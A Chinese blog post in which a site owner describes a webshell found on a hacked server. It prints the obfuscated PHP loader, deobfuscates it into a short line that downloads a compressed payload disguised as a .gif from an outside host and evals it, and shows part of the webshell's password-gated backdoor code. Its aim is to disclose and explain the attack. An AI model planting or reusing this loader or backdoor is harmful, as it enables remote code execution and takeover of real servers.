网站被挂马了，一看还是只大马，害得我加了两宿班，木马清除，服务器重装。
下面把这只马的细节公布出来，让大家认识认识。
一句话过安全狗源文件：
<?php
$password=’password’;//登录密码(支持菜刀)
//———-功能程序——————//
$c=”chr”;
session_start();
if(empty($_SESSION[‘PhpCode’])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);
$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);
$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);
$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);
$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);
$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);
$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);
$get=chr(102).chr(105).chr(108).chr(101).chr(95);
$get.=chr(103).chr(101).chr(116).chr(95).chr(99);
$get.=chr(111).chr(110).chr(116).chr(101).chr(110);
$get.=chr(116).chr(115);
$_SESSION[‘PhpCode’]=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode(‘MTAx’));
@eval($un($_SESSION[‘PhpCode’]));
?>
转换为代码：
<?php
$password=’password’;//登录密码(支持菜刀)
//———-功能程序——————//
session_start();
if(empty($_SESSION[‘PhpCode’])){
$url=”http://i.niupic.com/images/2017/05/21/v1QR1M.gif”;
$get=”file_get_contents”;
$_SESSION[‘PhpCode’]=file_get_contents(“http://i.niupic.com/images/2017/05/21/v1QR1M.gif”); //$_SESSION[‘PhpCode’]=$get($url);
}
$un=”gzinflate”;
@eval(gzinflate($_SESSION[‘PhpCode’]));//@eval($un($_SESSION[‘PhpCode’]));
?>
其实说白了就三句话：
<?
$a=file_get_contents(‘http://i.niupic.com/images/2017/05/21/v1QR1M.gif’);
$b=gzinflate($a);
@eval($b);
?>
木马原理解析：
从http://i.niupic.com/images/2017/05/21/v1QR1M.gif这个地址下载大马程序，用gzinflate解压一下就得到了源代码。
全部代码如下：
define(‘myaddress’,__FILE__);
error_reporting(E_ERROR | E_PARSE);
header(“content-Type: text/html; charset=gb2312″);
@set_time_limit(0);
ob_start();
define(‘envlpass’,$password);
define(‘shellname’,$shellname);
define(‘myurl’,$myurl);
define(‘bgImg’,$bgImg);
if(@get_magic_quotes_gpc()){
foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
}
if(isset($_REQUEST[envlpass])){
hmlogin(2);
$a = str_replace(x,””,”axsxxsxexrxxt”);$a($_REQUEST[envlpass]);
exit;}
if($_COOKIE[‘envlpass’] != md5(envlpass)){
if($_POST[‘envlpass’]){
if($_POST[‘envlpass’] == envlpass){
setcookie(‘envlpass’,md5($_POST[‘envlpass’]));
hmlogin();
}else{
echo ‘<CENTER><span id=”msg” style=”font-size:14px;font-family:隶书;color:rgb(242, 242, 242)”>用户或密码错误</span></CENTER>’;
………………
代码太长，以下省略，大家可以通过上面的源代码获取。
原创文章，作者：斑斓网站长，如若转载，请注明出处：https://www.argb.net/php-one-statement-antidog-source-php-dama-source.html
相关推荐
-
成功解决：找不到自己家的无线网络，可是别人家的无线网络一大堆
成功解决：找不到自己家的无线网络，可是别人家的无线网络一大堆 设置路由器，把频道改一下，一般改成6，很快就能找到！
-
海康摄像机密码与萤石云设置的密码同步，海康初始密码被修改
有朋友买了一台海康威视的DS-2CD3410FD-IW监摄像机，无线什么的都配置好了，萤石云也用上了，但在进入WEB页管理的时候，输入默认用户名admin，默认密码12345，却怎么也进不去，重置也不行，下载了海康的SADP设置工具，查看也是激活状态，后来想想，没准是朋友在注册萤石云的时候，摄像机的密码自动同步萤石云的密码了呢，让朋友使用萤石云的密码登录摄像…
-
PHP的注释符号种类
目前PHP支持三种注释符号，分别如下： 1.C++风格的单行注释：// 如： <?php echo “hello”; //输出hello ?> 2.C风格的多行注释：/*……*/ 如： /* * 这是一个php程序。 */ 3.shell风格的注释：# 如： <?php # Script 2.4 -index.p…
-
MYSQL 命令大全
一、连接MYSQL。格式： mysql -h主机地址 -u用户名 －p用户密码1、连接到本机上的MYSQL。首先打开DOS窗口，然后进入目录mysql\bin，再键入命令mysql -u root -p，回车后提示你输密码.注意用户名前可以有空格也可以没有空格，但是密码前必须没有空格，否则让你重新输入密码.如果刚安装好MYSQL，超级用户root是没有密码的…
-
大华DSS（Digital Surveillance System）数字监控系统视频上墙配置过程
工作需要，有一台大华的DSS需要配置电视墙，一路配置下来，简单写下配置过程。
DSS，就是Digital Surveillance System，中文译做数字监控系统，是一套集成度很高功能很强大的数字监控管理系统，现在就视频上墙做简要说明。
1、首先配置DSS服务器的IP地址，需要和NVR或IPC在同一网段之内。
2、配置角色的权限，需要有视频上墙权限，登录DSS的默认帐户为admin，密码为admin或123456，或用户名为system，密码为123456 。
3、在设备管理中，配置编码器，一般添加NVR即可，其中有一个小问题，同为大华的设备，填好IP和端口后，点“获取信息”，一直显示连接超时，最后直接填好IP，端口，名字，通道数，然后点确认添加，添加上后显示设备在线即为正常使用。
-
什么是PON，GPON和EPON的区别
最近在做联通数据和语音的割接工程，这次的主音和宽带主要是从以前的纯电缆传输改为PON传输，里面有一些术语还要再熟悉熟悉。 什么是PON？PON（Passive Optical Network：无源光纤网络）。 PON（无源光网络）是指（光配线网中）不含有任何电子器件及电子电源，ODN全部由光分路器（Splitter）等无源器件组成，不需要贵重的有源电子设备。…
-
通过命令提示符CMD查看SQLServer版本的命令
需要安装SQLServer客户端管理工具，不安装客户端管理工具没有SQLcmd这个命令，如果一切顺利，会出现类似上图窗口。
-
设置WP-PostViews Plus只显示真正访问阅读数，不显示爬虫和机器人浏览数，分析数据库存放方式
以前写过一篇《使用WP-PostViews Plus在列表页和文章页中显示浏览次数的简易方法》设置完成后发现文章阅读数一两天都达到了几万，如下图，这显然不是正常的访客浏览量，里面有大量的机器人浏览量，如何才能显示真正的阅读量呢？ 我们在上一篇里面，使用的是这一句来调用浏览量的，我们把这一句中的the_views()改为the_user_views()，即可调…
-
各种格式的安装程序静默安装参数和方法
大部分软件，其安装都具备一定的智能性，换句话说，许多软件的安装都能采取全自动或半自动的方式进行。 有时我们在安装程序的时候，希望是静默安装的，不显示下一步下一步，这编访问来教大家如何来操作,现在常用的制作安装程序的软件有, Microsoft Windows Installer , Windows 补丁包 , Install…
-
几种路由器级联方法总结（OA学院原创）
四口宽带路由器级联的使用方法，共有两种连接方式，第一种是一级宽带路由器LAN口连接二级宽带路由器WAN口，这种连接方式还有两种配置方法，第二种是一级宽带路由器LAN口连接二级宽带路由器LAN口，下面我们将详细讨论。 准备工作： 一、上网硬件准备 四口宽带路由器两个，其中连接外网线的那个称为一级宽带路由器，另一个用直通双绞线连接到一级路由器上的路由器称为二级宽…
